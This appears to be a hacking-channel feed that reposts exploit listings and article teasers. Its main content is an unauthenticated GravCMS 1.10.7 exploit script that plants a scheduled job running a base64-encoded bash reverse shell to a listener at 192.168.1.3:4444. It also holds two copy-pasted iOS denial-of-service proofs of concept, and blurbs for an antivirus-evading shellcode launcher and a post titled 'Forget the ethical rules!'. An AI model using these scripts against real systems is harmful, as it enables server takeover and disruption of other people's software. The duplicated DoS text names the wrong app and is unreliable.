Exploit Collector
Sticky Notes Widget 3.0.6 Denial Of Service

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
Sticky Notes Widget version 3.0.6 suffers from a denial of service vulnerability.

MD5 | 56c6b18d70d4f66715e7d0e23aa17279

Download
# Exploit Title: Sticky Notes Widget Version 3.0.6 - Denial of Service (PoC)
# Date: 06-07-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/sticky-notes-widget/id1499269608
# Version: 3.0.6
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

Exploit Collector
memono Notepad 4.2 Denial Of Service

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
memono Notepad 4.2 denial of service proof of concept exploit.

MD5 | 02eea882c45475062dbace15b6daf8a6

Download
# Exploit Title: memono Notepad Version 4.2 - Denial of Service (PoC)
# Date: 06-09-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/es/app/memono-bloc-de-notas/id906470619
# Version: 4.2
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

Exploit Collector
GravCMS 1.10.7 Arbitrary YAML Write / Update

https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
GravCMS version 1.10.7 unauthenticated arbitrary YAML write/update exploit. This is a variant exploit of the original discovery made by Mehmet Ince in April of 2021.

MD5 | d339a4b0bbbddf85756e2cdfe1e8e8ed

Download
# Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
# Original Exploit Author: Mehmet Ince
# Vendor Homepage: https://getgrav.org
# Version: 1.10.7
# Tested on: Debian 10
# Author: legend

#/usr/bin/python3

import requests
import sys
import re
import base64
target= "http://192.168.1.2"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
payload=b"""/*<?php
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMy80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
url = target + "/admin/tools/scheduler"
data = "admin-nonce="+adminNonce
data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)


Source:packetstormsecurity.com

Exploit Collector
n+otes 1.6.2 Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Charlotte : C++ Fully Undetected Shellcode Launcher

Charlotte is an c++ fully undetected shellcode launcher . Description 13/05/2021: c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021. dynamic invoking of win32 api functions XOR encryption of shellcode and function names randomised XOR keys and variables per run on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it! 17/05/2021: random strings […]

The post Charlotte : C++ Fully Undetected Shellcode Launcher appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking Medium

https://cdn-images-1.medium.com/max/2600/1*KGJzt9ppvox08ed7JbiXuA.jpeg
Forget the ethical rules!

Continue reading on Checkmate »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Here is how cryptocurrency is handled when it’s stolen or used as ransom.

This will explain what happened when the FBI went after the hackers that hit the Colonial Pipeline.

Continue reading on Medium »

Hacking on Medium
Shodan — the search engine for IoT

https://cdn-images-1.medium.com/max/1200/1*1wXowseQxJw2BQkWGqvKng.jpeg
Today, a substantial number of devices are hooked up to the internet, ranging from cellphones and watches to air conditioners and…

Continue reading on Medium »